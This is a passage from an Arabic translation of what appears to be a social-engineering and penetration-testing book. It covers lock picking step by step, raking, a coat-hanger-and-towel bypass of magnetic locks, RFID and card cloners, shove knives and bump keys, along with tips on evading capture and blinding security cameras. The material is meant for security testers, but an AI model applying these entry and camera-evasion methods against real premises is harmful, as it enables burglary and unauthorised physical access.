‫أﺳﺎﺳﺎ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﻌﻣل ﺑﮭﺎ اﻟﻘﻔل ھو أن ﻟدﯾﮫ ﺗوﻣﺑﻠﯾرس واﻟﺗﻲ ﯾﺗم اﻟﺗﻼﻋب ﺑﮭﺎ ﻣن ﻗﺑل اﻟﻣﻔﺗﺎح‪ .‬اﻟﻣﻔﺗﺎح ﯾدﻓﻊ ﻷﻋﻠﻰ اﻟﺗوﻣﺑﻠﯾرس واﻟدﺑﺎﺑﯾس‬
‫اﻟﻌﻠﯾﺎ )‪ ،(Upper Pins‬وﻋﻧدﻣﺎ ﯾﺻطﻔﺎ ﻋﻠﻰ ﻧﻔس اﻟﺧط ﻓﺎﻧﮭﻣﺎ ﯾﺳﻣﺣﺎ ﻟﻠﻣﻔﺗﺎح أن ﯾدور وﯾﻔﺗﺢ اﻟﺑﺎب‪ ،‬ﻏرﻓﺔ اﻟﺧﺎدم‪ ،‬وھﻠم ﺟرا‪.‬‬
‫ﻣﺷﺎﺑك ﻓﺎﺗﺢ اﻻﻗﻔﺎل )‪ (Lock Picks‬ﺗﺣﺎﻛﻰ اﻟﻣﻔﺎﺗﯾﺢ ﻓﻲ ﻧﻘل ﺟﻣﯾﻊ اﻟدﺑﺎﺑﯾس )‪ (Upper Pins‬ﻓﻲ وﺿﻌﮭﺎ اﻟﺻﺣﯾﺢ واﺣد ﺑواﺣد‪ ،‬ﻣﻣﺎ ﯾﺗﯾﺢ‬
‫ﻟف اﻟﻘﻔل ﺑﺣرﯾﺔ وﻓﺗﺢ اﻟﺑﺎب‪ .‬ﺗﺣﺗﺎج اﻟﻰ اﺛﻧﯾن ﻣن اﻷدوات اﻟرﺋﯾﺳﯾﺔ ﻟﻔﺗﺢ اﻟﻘﻔل‪ picks :‬و‪.tension wrench‬‬
‫‪) Picks -‬ﻓﺎﺗﺢ اﻻﻗﻔﺎل( ھﻲ ﻗطﻊ طوﯾﻠﺔ ﻣن اﻟﻣﻌدن ﻣﻧﺣﻧﯾﮫ ﻓﻲ ﻧﮭﺎﯾﺔ‪ ،‬ﻋﻠﻰ ﻏرار أداة طﺑﯾب اﻷﺳﻧﺎن‪ .‬ﺣﯾث إﻧﮭﺎ ﺗذھب داﺧل ﻗﻔل‬
‫وﺗﻧﻘل اﻟدﺑﺎﺑﯾس ﺻﻌودا وھﺑوطﺎ ﺣﺗﻰ ﯾﻛوﻧﺎ ﻓﻲ اﻟﻣﻛﺎن اﻟﻣﻧﺎﺳب‪.‬‬
‫‪ Tension wrenches -‬ھﻲ أﺟﮭزة ﻣﻌدﻧﯾﺔ ﻣﺳطﺣﺔ ﺻﻐﯾرة واﻟﺗﻲ ﺗﺳﻣﺢ ﻟك ﺑوﺿﻊ ﺿﻐط ﻋﻠﻰ اﻟﻘﻔل أﺛﻧﺎء اﺳﺗﺧدام ‪.Picks‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪951‬‬

‫‪ -‬اﻟﻣﻛﺎﺑس )‪ (Rakes‬ﺗﺑدو ﻣﺛل ‪ Picks‬وﻟﻛﻧﮭﺎ ﺗﺳﺗﺧدم ﻓﻲ ﺣرﻛﺔ "اﻟﻧﺑش" ﻋﻠﻰ اﻟﻘﻔل ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﻠﻘﺑض ﻋﻠﻰ ﻛل ﻣن اﻟدﺑﺎﺑﯾس‪ .‬ھذه‬
‫اﻟﺣرﻛﺔ ﻋﺑﺎره ﻋن ﺣرﻛﺔ ﺳرﯾﻌﺔ ﻣن ﺗﺣرﯾك ‪ Rakes‬دﺧوﻻ وﺧروﺟﺎ ﻣرات ﻋدﯾده داﺧل اﻟﻘﻔل ﺣﯾث ﯾﺟدھﺎ ﻓﺎﺗﺢ اﻻﻗﻔﺎل ﺟذاﺑﮫ ﻷﻧﮫ‬
‫ﻋﺎدة ﻣﺎ ﯾﺟﻌل ﻋﻣﻠﮫ ﺳرﯾﻌﺔ ﻟﻣﻌظم اﻷﻗﻔﺎل‪.‬‬
‫ﻟﻔﺗﺢ اﻟﻘﻔل‪ ،‬اﺗﺑﻊ اﻟﺧطوات اﻟﺗﺎﻟﯾﺔ‪:‬‬
‫‪ .1‬ﻧﻘوم ﺑﺈدﺧﺎل ‪ Tension wrenches‬ﻓﻲ ﺛﻘب اﻟﻣﻔﺗﺎح وﻣن ﺛم إدارﺗﮫ ﻓﻲ ﻧﻔس اﺗﺟﺎه دوران اﻟﻣﻔﺗﺎح‪ .‬اﻟﻣﮭﺎرة اﻟﺣﻘﯾﻘﯾﺔ ھﻧﺎ ھو ﻣﻌرﻓﺔ‬
‫ﻣدى إﺿﺎﻓﺔ ‪ Tension‬ﺳواء اﺳﺗﺧدام اﻟﻛﺛﯾر أو اﻟﻘﻠﯾل ﺟدا‪ ،‬واﻟدﺑﺎﺑﯾس ﺳوف ﻻ ﺗﻘﻊ ﻓﻲ اﻟﻣﻛﺎن‪ ،‬ﻣﻣﺎ ﯾﺳﻣﺢ ﻟﻠﻘﻔل ﺑﺎﻟدوران‪ .‬ﺗوﻓﯾر‬
‫اﻟﻛﻣﯾﺔ اﻟﻣﻧﺎﺳﺑﺔ ﻣن ‪ Tension‬ﯾﺧﻠﻖ ﺣﺎﻓﺔ اﻟﺻﻐﯾرة ﺗﻌوض اﻟﻣﻛوﻧﺎت ﻣﺎ ﯾﻛﻔﻲ ﻟﻠﻘﺑض ﻋﻠﻰ ﻣﮭﺎوي اﻟدﺑوس )‪.(pin shafts‬‬
‫‪ .2‬ﻧدﺧل ‪ Picks‬وﻧﺳﺗﺧدﻣﮭﺎ ﻟرﻓﻊ اﻟﻣﺳﺎﻣﯾر واﺣدا ﺗﻠو اﻵﺧر ﺣﺗﻰ ﺗﺷﻌر ﺑﮭﺎ اﻧﮭﺎ ﻓﻲ ﻣﻛﺎﻧﮭﺎ‪ .‬ﯾﻣﻛﻧك ﺳﻣﺎع ﺻوت طﻘطﻘﺔ طﻔﯾﻔﺔ ﻋﻧدﻣﺎ‬
‫ﯾﺳﻘط اﻟدﺑوس اﻟﻌﻠوي ﻓﻲ ﻣﻛﺎﻧﮫ‪ .‬ﻋﻧدﻣﺎ ﺗﺣﺻل ﻛل ﻣن اﻟﻣﺳﺎﻣﯾر ﻓﻲ ﻣﻛﺎﻧﮭﺎ اﻟﻣﻛوﻧﺎت ﺳوف ﺗدور ﺑﺣرﯾﺔ‪ ،‬وﺳوف ﯾﻛون ﻗد ﻓﺗﺢ‬
‫اﻟﻘﻔل‪.‬‬
‫ﻣﺎ ﻧﻘدﻣﮫ ھو ﺟوﻟﺔ ﺒ ‪ $ 2‬ﻟﻔﺗﺢ اﻟﻘﻔل وﺑﺎﻟﻛﺎد ﺧدوش ﺳطﺣﮫ‪ .‬إذا ﻛﻧت ﺗرﯾد ﺑﻌض اﻟﻣﻌﻠوﻣﺎت اﻟﻛﺑﯾرة ﻋﻠﻰ ﻓﺗﺢ اﻟﻘﻔل ﯾﻣﻛﻧك زﯾﺎرة أي ﻣن‬
‫اﻟﻣواﻗﻊ اﻟﺗﺎﻟﯾﺔ‪:‬‬
‫‪http://toool.us/‬‬
‫‪http://home.howstuffworks.com/home-improvement/household-safety/security/lock-picking.htm‬‬
‫‪http://www.lockpicking101.com/‬‬
‫ھذه ﻟﯾﺳت ﺳوى ﻋدد ﻗﻠﯾل ﻣن اﻟﻌدﯾد ﻓﻲ اﻟﻣواﻗﻊ اﻟﺗﻲ ﻛرﺳت ﻟﺗﻌﻠﯾم ﻓﺗﺢ اﻟﻘﻔل‪ .‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﻗﺿﺎء اﻟوﻗت ﻟﻣﻣﺎرﺳﺔ ﻓﺗﺢ اﻷﻗﻔﺎل ﺣﻛﯾم‪.‬‬
‫ﺣﯾث ﺣﻣل ﻣﺟﻣوﻋﺔ ﺻﻐﯾرة ﻣن أدوات ﻓﺎﺗﺢ اﻻﻗﻔﺎل ﻣﻌك ﻣن اﻟﻣﻣﻛن ﯾﻛون اﻟﻣﻧﻘذ ﻋﻧدﻣﺎ ﺗﻛون أﻣﺎم اﻟﺧﺎدم‪ ،‬درج اﻟﻣﻛﺗب‪ ،‬أو ﻏﯾرھﺎ ﻣن‬
‫اﻟﻌﻘﺑﺎت اﻟﻣﻘﻔﻠﺔ واﻟﺗﻲ ﺗﺣﺗوي ﻋﻠﻰ ﻣﻌﻠوﻣﺎت‪.‬‬
‫أدوات ﻓﺗﺢ اﻟﻘﻔل ﻣن اﻟﻣﻣﻛن أن ﺗﻛون ﺻﻐﯾرة ﻣﺛل ﺗﻠك اﻟﺗﻲ ﺗظﮭر ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ ،‬واﻟﺗﻲ ھﻲ ﺑﺣﺟم ﺑطﺎﻗﺔ اﻟﻌﻣل اﻟﻌﺎدﯾﺔ‪.‬‬

‫أﻧﮭﺎ ﯾﻣﻛن أﯾﺿﺎ أن ﺗﻛون ﺿﺧﻣﮫ‪ ،‬ﻛﻣﺎ ھو ﻣوﺿﺢ ﻓﻲ اﻟﺷﻛﻠﯾن اﻟﺗﺎﻟﯾﯾن‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪952‬‬

‫ﺗوﺻﯾﺔ ﺟﯾدة ھو ان ﻻ ﺗﻘوم ﺑﻔﻌل ﻓﺗﺢ اﻟﻘﻔل ﻷول ﻣره ﻓﻲ وﺿﻊ ﺣرج‪ .‬ﺷﺧﺻﯾﺎ‪ ،‬ﺧرﺟت واﺷﺗرﯾت ﺑﺿﻊ ﻣن اﻷﻗﻔﺎل ﻓﻲ أﺣﺟﺎم ﻣﺧﺗﻠﻔﺔ‪ .‬ﺑﻌد‬
‫وﻛﻧت ﻗﺎدرا ﻋﻠﻰ ﻓﺗﺣﮭم ﺑﻧﺟﺎح ﻛل ﻣﻧﮭم وﺑﻌد ذﻟك اﺷﺗرﯾت ﻣﺟﻣوﻋﺔ ﻣن اﻷﻗﻔﺎل اﻟﻣﻣﺎرﺳﺔ‪ ،‬ﺷﯾﺋﺎ ﻣﺛل ﺗﻠك اﻟﺗﻲ ﺗظﮭر ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ .‬ھذه‬
‫ﺗﺄﺗﻲ ﻣﻊ اﻟﻌدﯾد ﻣن أﻧواع ﻣﺧﺗﻠﻔﺔ ﻣن اﻟدﺑوس‪ .‬ھذه اﻷﻗﻔﺎل ﺗﺣﺗوي ﻋﻠﻰ أﻧواع ﻣﺗﻔﺎوﺗﺔ ﻣن اﻟدﺑوس‪ ،‬اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺿﯾف ﻣﺳﺗوى اﻟﺻﻌوﺑﺔ ﻓﻲ‬
‫ﻋﻣﻠﯾﺔ اﻟﻔﺗﺢ‪ .‬اﻟﻣﻣﺎرﺳﺔ ﻣﻊ وﺟود أﻗﻔﺎل ذات أﻧواع ﻣﺧﺗﻠﻔﺔ أﺣﺟﺎم اﻟدﺑوس ﯾزﯾد ﻣن ﻓﻌﺎﻟﯾﺔ ﺟﻠﺳﺎت اﻟﻣﻣﺎرﺳﺔ اﻟﺧﺎﺻﺔ ﺑك‪.‬‬

‫ﻟﻘد رأﯾت ﺑﻌض اﻻﺟﮭزة اﻟﻠطﯾﻔﺔ ﺟدا ﻓﻲ اﻟﻣؤﺗﻣرات اﻟﻣﺧﺗﻠﻔﺔ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﻛون ﻣﻣﺗﺎزة ﻟﻠﺗﻌﻠم‪ ،‬ﻣﺛل ‪ lock wall‬ﻣﺣﻠﯾﺔ اﻟﺻﻧﻊ‪ .‬وﺑطﺑﯾﻌﺔ‬
‫اﻟﺣﺎل‪ ،‬ﻛﻣﺎ ﺗﻘوم ﺑﺟﻣﻊ ﻣﻌﻠوﻣﺎت ﻋن اﻟﮭدف اﻟﺧﺎص ﺑك‪ ،‬واﻟﺗﻘﺎط اﻟﺻور أو ﻣﺟرد ﺗدوﯾن اﻟﻣﻼﺣظﺎت‪ ،‬ﯾﺟﻌل ﻧﻣﺎذج اﻷﻗﻔﺎل اﻟﺗﻲ ﻗد ﺗﻌرﻗل‬
‫اﻟﻣﺳﺎر اﻟﺧﺎص ﺑك إﻟﻰ اﻟﻧﺟﺎح ھو ﻓﻛرة ﺟﯾدة‪ .‬وﻣﻌرﻓﺔ ھذه اﻟﻣﻌﻠوﻣﺎت ﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺗﺣﺿﯾر ﻗﺑل اﻟدﺧول ﻓﻲ ﻣﺣﺎوﻟﺗك اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫اﻻﺳﺘﺨﺪام اﻟﻌﻤﻠﻲ )‪(Practical Usage‬‬
‫ﻓﺗﺢ اﻻﻗﻔﺎل )‪ (Lock picking‬ﻓﻲ اﻷﻓﻼم وﻋﻠﻰ ﺷﺎﺷﺔ اﻟﺗﻠﻔزﯾون ﺗﺻور أن واﺣدا ﯾﻘوم ﺑوﺿﻊ ﻓﺎﺗﺢ اﻟﻘﻔل ﻓﻘط ﻓﻲ اﻟﻘﻔل وﻓﻰ ﺑﺿﻊ ﺛوان ﯾﻔﺗﺢ‬
‫اﻟﺑﺎب ﺑطرﯾﻘﺔ ﺳﺣرﯾﺔ‪ .‬ﺑﺎﻟﺗﺄﻛﯾد‪ ،‬ﺑﻌض اﻟﻧﺎس ﺳوف ﯾﻛوﻧون ﺟﯾدﯾن ﻓﻲ ﻓﺗﺢ اﻻﻗﻔﺎل‪ ،‬وﻟﻛن ﻏﺎﻟﺑﯾﺔ اﻟﻧﺎس ﯾﺟدون اﻟﻧﺟﺎح ﺑﺑطء‪ ،‬ﺑﻌد ﻋدة ﻣرات ﻻ‬
‫ﺗﺣﺻﻰ ﻣن ﺗطﺑﻖ اﻟﻛﺛﯾر ﻣن ‪ ،Tension‬واﻟﺣﺻول ﻋﻠﻰ اﻻﺣﺑﺎط‪ ،‬وﻟﻛن ﻓﻲ اﻟﻧﮭﺎﯾﺔ ﺳوف ﯾﺗﻌﻠم ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ‪ rack‬و‪ Pick‬واﻟﻧﺟﺎح ﻓﻲ‬
‫ﻓﺗﺢ اﻟﻘﻔل‪ .‬اﻟﻧﺑش )‪ (Racking‬ھﻲ ﻣوھﺑﺔ ﻓﻲ ﺣد ذاﺗﮫ‪ .‬ھذا ﺣﯾث ﯾﻣﻛﻧك اﺳﺗﺧدام أداة ‪ rack‬وﺗﺣرﯾﻛﮫ ﺑﻠطف داﺧل وﺧﺎرج اﻟﻘﻔل أﺛﻧﺎء ﺗطﺑﯾﻖ‬
‫اﻟﺿﻐط اﻟﺧﻔﯾف إﻟﻰ ‪ .tension wrench‬ھذه اﻟﺗﻘﻧﯾﺔ ﺗﻌﻣل ﻋﻠﻰ اﻟﻌدﯾد ﻣن أﻧواع اﻷﻗﻔﺎل‪ ،‬وﺗﻣﻛﻧك ﻣن "ﻓﺗﺢ اﻻﻗﻔﺎل" ﺑﺎﺳﺗﺧدام ھذه اﻟطرﯾﻘﺔ‬
‫اﻟﺑﺳﯾطﺔ‪ .‬ﺗﻌﻠم اﺳﺗﺧدام ‪ Rack‬ﺑﻛﻔﺎءة ﯾﻌﻠم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻛﺛﯾر ﻋن ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ‪ tension wrench‬ﺑﺷﻛل ﺻﺣﯾﺢ وﻣﺎ اﻟﺷﻌور‬
‫اﻟﺗﻲ ﺗﺷﻌر ﺑﮫ ﻋﻧدﻣﺎ ﯾﺗم ﻓﺗﺢ اﻟﻘﻔل‪.‬‬
‫اﻟﻌدﯾد ﻣن اﻟﺷرﻛﺎت ﺑدأت ﻓﻲ اﺳﺗﺧدام ‪ ،RFID‬وﺑطﺎﻗﺎت اﻟﺷﺎرة اﻟﻣﻐﻧﺎطﯾﺳﻲ‪ ،‬أو أﻧواع أﺧرى ﻣن اﻟوﺻول إﻟﻛﺗروﻧﯾﺎ‪ ،‬ﻣﻣﺎ ﻗد ﯾؤدي إﻟﻰ‬
‫اﻻﻋﺗﻘﺎد ﺑﺄن ﻓﺗﺢ اﻟﻘﻔل ﻋﻔﺎ ﻋﻠﯾﮫ اﻟزﻣن‪ .‬أﻧﮭﺎ ﻟﺳت ﻛذﻟك وھﻲ ﻣﮭﺎرة ﺟﯾدة ﯾﻣﻛن أن ﯾوﻓر ﻟك ﻓﻲ اﺧﺗﺑﺎر اﻻﺧﺗراق‪.‬‬
‫ھﻧﺎ ھو ﻣﺛﺎل ﺻﺎﻟﺢ ﻋﻠﻰ ﺣﻣل ﯾﺧﺗﺎر ﻗﻔل ﻣﻌك‪ :‬اﻟﻣﺷﺎرﻛﺔ ﻓﻲ واﺣد ﺟﺋت ﺑﻧﺎء ﻋﻠﻰ اﻟﻌﺎﺋﻖ اﻟذي ﻻ ﯾﻣﻛن أن ﯾﻛون اﺟﺗﻣﺎﻋﯾﺎ ھﻧدﺳﺗﮭﺎ اﻟﺑﺎب‪.‬‬
‫اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ ﻟدﯾﮭﺎ ﻣﺛل ھذه اﻟﻘﺻص‪ ،‬ﺣﯾث ﻓﮭم اﻟﻘﻠﯾل ﻋن اﻷﻗﻔﺎل ﻣﻊ وﺟود اﻷدوات اﻟﻣﻧﺎﺳﺑﺔ ﺗﻌﻧﻲ اﻟﻧﺟﺎح ﻓﻲ اﻟﻧﮭﺎﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪953‬‬

‫اﻟﺣﺎل أن اﻟﺷرﻛﺎت ﺳوف ﺗﻧﻔﻖ اﻵﻻف أو ﺣﺗﻰ اﻟﻣﻼﯾﯾن ﻣن اﻟدوﻻرات ﻋﻠﻰ اﻷﺟﮭزة اﻟﺧﺎﺻﺔ ﺑﮭم‪ ،‬واﻟﺟدران اﻟﻧﺎرﯾﺔ وأﻧظﻣﺔ‪ ، IDS‬وأﺳﺎﻟﯾب‬
‫اﻟﺣﻣﺎﯾﺔ اﻷﺧرى‪ ،‬وﻣن ﺛم ﺗوﺿﻊ ﻛل ﻣﻧﮭم ﻓﻲ ﻏرﻓﺔ ﻣﻊ زﺟﺎج رﺧﯾص و‪ 20‬دوﻻرا ﻗﻔل ﻟﻠﺣﻣﺎﯾﺔ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‪.‬‬
‫اﻟﻣﻣﺎرﺳﺔ اﻟﺿرورﯾﺔ ﻟﻔﺗﺢ اﻟﻘﻔل ﯾﺣﻣل داﺋﻣﺎ ﺧطر أن ﯾﻘﺑض ﻋﻠﯾك‪ .‬ﯾﺟب أن ﺗﻛون ﺳرﯾﻌﺔ ﺣول ﻓﺗﺢ ﻗﻔل ﻟﻠﺣد ﻣن ھذا اﻟﺧطر‪ .‬ﺑﻌض اﻷﻣﺎﻛن‬
‫ﺗﻘوم ﺑﺗرﻛﯾب ﻛﺎﻣﯾرات ﻟﻠﻘﺑض ﻋﻠﻰ اﻟﻧﺎس ﻓﻲ ھذا اﻟﻔﻌل‪.‬‬
‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬اﻟﻌدﯾد ﻣن اﻟﻛﺎﻣﯾرات ﯾﻣﻛن أن ﺗﻛون ﺑﺳﮭوﻟﺔ ﻋدﯾﻣﺔ اﻟﻔﺎﺋدة ﺑﺎﺳﺗﺧدام أﺳﺎﻟﯾب ﻣﺑﺳطﺔ ﻣن أﺿواء ‪ LED‬واﻟﺗﻲ ﺗﻠﻣﻊ ﻓﻲ‬
‫اﻟﻌدﺳﺔ أو ارﺗداء ﻗﺑﻌﺔ أو ﻏطﺎء ﻟﺗﻐطﯾﺔ وﺟﮭك‪.‬‬
‫اﺧﺘﯿﺎر اﺳﺘﺨﺪام اﻟﻘﻔﻞ اﻟﻤﻐﻨﺎطﯿﺴﻲ واﻻﻟﻜﺘﺮوﻧﻲ )‪(Picking Magnetic and Electronic Locks‬‬
‫أﺻﺑﺣت اﻷﻗﻔﺎل اﻟﻣﻐﻧﺎطﯾﺳﯾﺔ أﻛﺛر ﺷﻌﺑﯾﺔ ﻷﻧﮭﺎ ﻏﯾر ﻣﻛﻠﻔﺔ ﻟﻠﻐﺎﯾﺔ ﻟﺗﺷﻐﯾل وﺗوﻓﯾر ﻣﺳﺗوى ﻣﻌﯾن ﻣن اﻷﻣن ﻷﻧﮭم ﻟﯾﺳوا ﻗﻔل ﺗﻘﻠﯾدي اﻟﺗﻲ ﯾﻣﻛن‬
‫اﻟﺗﻘﺎطﮭﺎ‪ .‬اﻷﻗﻔﺎل اﻟﻣﻐﻧﺎطﯾﺳﯾﺔ ﺗﺄﺗﻲ ﻓﻲ ﺟﻣﯾﻊ اﻷﺷﻛﺎل واﻷﺣﺟﺎم‪ ،‬وﻧﻘﺎط اﻟﻘوة‪ .‬اﻷﻗﻔﺎل اﻟﻣﻐﻧﺎطﯾﺳﯾﺔ‪ ،‬ﻣﻊ ذﻟك‪ ،‬ﺗﻘدم ﻣﺳﺗوى ﻣن اﻧﻌدام اﻷﻣن‪ :‬إذا‬
‫اﻧﻘطﻊ اﻟﺗﯾﺎر اﻟﻛﮭرﺑﺎﺋﻲ ﻓﺎن ﻣﻌظم اﻷﻗﻔﺎل اﻟﻣﻐﻧﺎطﯾﺳﯾﺔ ﺳوف ﺗﻔك اﻻرﺗﺑﺎط‪ ،‬وﺗﻔﺗﺢ اﻟﺑﺎب‪ .‬ھذا ھو‪ ،‬ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬إذا ﻟم ﯾﺗم ﺗوﺻﯾل اﻟﻘﻔل إﻟﻰ‬
‫ﻣﺻدر طﺎﻗﺔ اﺣﺗﯾﺎطﯾﺔ‪.‬‬
‫ﺟوﻧﻲ ﻟوﻧﺞ‪ ،‬ﻣن أﺷﮭر اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن واﻟﮭﺎﻛر ﻓﻲ اﻟﻌﺎﻟم اﻟذي ﺧﻠﻖ ﻗﺎﻋدة ﺑﯾﺎﻧﺎت ﻗرﺻﻧﺔ ﺟوﺟل )‪(Google Hacking Database‬‬
‫وﻣؤﻟف ﻛﺗﺎب ‪ ،No Tech Hacking‬واﻟﺗﻲ ﯾروي ﻗﺻﺔ ﻛﯾف اﻧﮫ ﺗﺟﺎوز ﻗﻔل ﻣﻐﻧﺎطﯾﺳﻲ ﺑﺎﺳﺗﺧدام ﺷﻣﺎﻋﺎت ﻣﻌطف وﻣﻧﺷﻔﺔ‪ .‬ﻻﺣظ ﺗم ﻓض‬
‫اﻻرﺗﺑﺎط اﻟﻘﻔل ﺑﻧﺎء ﻋﻠﻰ ﺣرﻛﺔ ﻣن ﻣوظف ﻣﺷﻲ ﻧﺣو اﻟﺑﺎب‪ .‬ﻻﺣظ أﯾﺿﺎ وﺟود ﻓﺟوة ﻓﻲ اﻷﺑواب اﻟﺗﻲ ﻛﺎﻧت ﻛﺑﯾرة ﺑﻣﺎ ﯾﻛﻔﻲ ﻟزﻟﻖ ﻗطﻌﺔ ﻗﻣﺎش‬
‫ﻣﺛﺑﺗﮫ ﻋﻠﻰ ﺷﻣﺎﻋﺎت ﻣن ﺧﻼﻟﮫ‪ .‬اﻟﺗﻠوﯾﺢ ﺑﺎﻟﻘﻣﺎش ﺣوﻟﮭﺎ ادى اﻟﻰ ﺗﺣرﯾر اﻟﻘﻔل وإﻋطﺎءه اﻟوﺻول‪.‬‬
‫ﻗد أﺗﯾﺣت ﻟﻲ ﻣؤﺧرا ﻓرﺻﺔ اﺧﺗﺑﺎر ھذه اﻟﺗﻘﻧﯾﺔ‪ .‬اﻟﻣؤﻛد ﻣﻊ اﻟﻘﻠﯾل ﻣن اﻟﺟﮭد واﺧﺗﺑﺎر أطوال ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﺷﻣﺎﻋﺎت‪ ،‬ﺗﻣﻛﻧت ﻣن اﻟوﺻول ﻓﻲ أﻗل‬
‫ﻣن دﻗﯾﻘﺗﯾن‪ .‬ﻣﺎ أذھﻠﻧﻲ أﻛﺛر ﻋن ھذا ھو أﻧﮫ ﻋﻠﻰ اﻟرﻏم ﻣن ﻣﻘدار اﻷﻣوال اﻟﺗﻲ ﺗﻧﻔﻖ ﻋﻠﻰ اﻟﻣﮭﻧﯾﺔ‪ ،‬وﻗﻔل اﻷﺑواب اﻟﻣﻌدﻧﯾﺔ اﻟﺗﺟﺎري اﻟﺻف ﻣﻊ‬
‫ﻧواﻓذ زﺟﺎﺟﯾﺔ ﻣﺿﺎدة ﻟﻠرﺻﺎص ﻓﻲ ﻧﻔوﺳﮭم‪ ،‬ﻣﻊ ﻣﺻﺎدر اﻟطﺎﻗﺔ اﻻﺣﺗﯾﺎطﯾﺔ ﻷﻗﻔﺎل وأﻗﻔﺎل اﻟﺗرﺑﺎس اﻟﯾﺔ اﻟﻘﻔل إذا اﻧﻘطﻊ اﻟﺗﯾﺎر اﻟﻛﮭرﺑﺎﺋﻲ‪ ،‬ﺗم‬
‫إﺣﺑﺎطﮭﺎ ﻣن ﻗﺑل ﺷﻣﺎﻋﺎت ﻣﻊ ﻗطﻌﺔ ﻗﻣﺎش‪.‬‬
‫ﺑﺎﻟطﺑﻊ ھﻧﺎك طرق ﻣن اﻟﺗﻛﻧوﻟوﺟﯾﺎ اﻷﻋﻠﻰ ﻓﻲ ﻓﺗﺢ ھذه اﻷﻗﻔﺎل‪ .‬إﻧﺷﺎء ﺑﻌض ‪ RFID‬اﻟﻣﺳﺗﻧﺳﺦ )‪ ،(RFID cloners‬وھو ﺟﮭﺎز ﺻﻐﯾر‬
‫ﯾﻣﻛﻧﮫ اﻟﺗﻘﺎط ﺛم اﻋﺎدﺗﮭﺎ رﻣز ‪ RFID‬ﻓﺗﺢ اﻷﺑواب‪ .‬وھﻧﺎك أﺟﮭزة ﻟﻧﺳﺦ اﻟﺑطﺎﻗﺎت اﻟﻣﻐﻧﺎطﯾﺳﯾﺔ اﻟرﺋﯾﺳﯾﺔ‪.‬‬
‫أدوات ﻓﺘﺢ اﻟﻘﻔﻞ اﻟﻤﺘﻨﻮﻋﺔ اﻷﺧﺮى )‪(Miscellaneous Lock-Picking Tools‬‬
‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ‪ tension wrenches‬و‪ ،Picks‬ﻗد ﯾرﻏب اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ ﺗوظﯾف ﺑﻌض اﻷدوات اﻷﺧرى‪ ،‬ﻣﺛل ‪،shove knives‬‬
‫‪ ،bump keys‬وﺣﺷوات اﻟﻘﻔل )‪ ،(padlock shims‬ﻟﻠوﺻول اﻟﺑدﻧﻲ‪ .‬ﺑﻌض ﻣن ھذه اﻷدوات‪ ،‬ﻋﻧد إﺗﻘﺎﻧﮭﺎ‪ ،‬ﯾﻣﻛن ﺟﻌل ﻣﮭﻣﺔ اﻟوﺻول‬
‫اﻟﻣﺎدي ﻣن دون أي ﻣﺟﮭود‪.‬‬
‫‪Shove knives‬‬ ‫‪-‬‬
‫‪ ،Shove knives‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ ،‬أﺷد وأﺳرع طرﯾﻘﺔ ﻟﻠوﺻول إﻟﻰ أﺑواب اﻟﻣﻛﺗب أو أي ﺑﺎب ﻣﻊ ﻣﻔﺗﺎح اﻟﻘﻔل‪ ،‬ﻣﺛل ﻏرف‬
‫اﻟﺧﺎدم أو أﺑواب اﻟﻣﻛﺎﺗب‪ .‬أﺳﺎﺳﺎ ھذا اﻟﺳﻛﯾن ﯾﻣﻛن أن ﺗﻧزﻟﻖ إﻟﻰ اﻟﻣﻛﺎن ﺣﯾث ﯾﻣﻛن اﻻﻓراج ﻋن ﻣزﻻج دون اﻹﺿرار ﺑﺎﻟﺑﺎب‪.‬‬

‫‪Bump Keys -‬‬

‫ﺗم اﻟﺣﺻول ﻋﻠﻰ اﻟﻛﺛﯾر ﻣن اﻹﺷﻌﺎر ﻓﻲ اﻷﺧﺑﺎر ﻋن ‪ Bump Keys‬ﻷﻧﮭﺎ اﺳﺗﺧدﻣت ﻓﻲ ارﺗﻛﺎب اﻟﺟراﺋم‪ Bump Keys .‬ھﻲ ﻣﻔﺎﺗﯾﺢ‬
‫ﺻﻣﻣت ﺧﺻﯾﺻﺎ واﻟﺗﻲ ﺗﺳﻣﺢ ﻟﻠﻣﺳﺗﺧدم "ﺑﺿﺦ" اﻟﻣﻔﺗﺎح ﻓﻲ اﻟﻘﻔل ﺑﺎﺳﺗﺧدام اﻟﻘوة اﻟﺧﻔﯾﻔﺔ واﻟﺗﻲ إذا ﻓﻌﻠت ﺑطرﯾﻘﮫ ﺻﺣﯾﺣﮫ ‪ ،‬ﻓﯾﺗم وﺿﻊ ﻛل ﻣن‬
